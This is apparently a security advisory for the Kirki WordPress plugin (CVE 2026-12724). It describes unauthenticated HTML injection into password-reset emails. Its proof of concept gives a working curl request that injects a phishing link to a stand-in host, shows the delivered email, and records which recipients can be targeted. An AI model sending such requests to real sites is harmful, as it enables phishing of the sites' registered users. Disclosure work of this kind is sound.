Kirki < 6.0.12 – Unauthenticated HTML Injection in Password Reset Email via kirki-forgot-password | CVE 2026-12724

Description

The plugin does not sanitise or escape the email subject and body values supplied in a request before including them in the password-reset email it sends as HTML, allowing unauthenticated users to inject arbitrary HTML into the message delivered to a registered user, which can be used for phishing.

Proof of Concept

**Prerequisites:** Kirki 6.0.11 active, with a public page that renders a Kirki forgot-password form element (the plugin's intended feature; this exposes the guest nonce). Knowledge of one valid registered email address (or username + email). No login.

### Step 1 — scrape the guest X-WP-ELEMENT-NONCE from the public forgot-password form page (no cookies).

### Step 2 — unauthenticated injection request (recipient resolves to the account owner):
```bash
curl -k -X POST "https://victim.example/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-ELEMENT-NONCE: <guest nonce>" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "username=victim" \
  --data-urlencode "email=victim@example.com" \
  --data-urlencode "emailSubject=Phishing Subject Injected" \
  --data-urlencode 'emailBody=[{"type":"text","value":"<h1 style=\"color:#0073aa\">Reset your password</h1><p>Click below:</p><a href=\"https://evil.example/phish\">Click here to reset</a><br>"},{"type":"chip","value":"reset_link"}]'
# -> HTTP 200 {"message":"Email sent"}
```

The email delivered to victim@example.com renders the injected HTML unescaped because it is sent as text/html:
```
To: victim@example.com   Subject: Phishing Subject Injected   (Content-Type: text/html)
<h1 style="color:#0073aa">Reset your password</h1><p>Click below:</p><a href="https://evil.example/phish">Click here to reset</a><br> ...?action=rp&key=<real-key>&login=victim
```

### Recipient binding (confirms it cannot target an arbitrary inbox)
- username=victim + email=attacker@evil.com  -> {"message":"Invalid email address"}
- email=attacker@evil.com alone              -> {"message":"User not found"}
- email=victim@example.com (valid registered) -> {"message":"Email sent"}, delivered to victim@example.com

Only a valid registered user's own address receives the mail, so this is bounded phishing of a known account owner, not an arbitrary relay.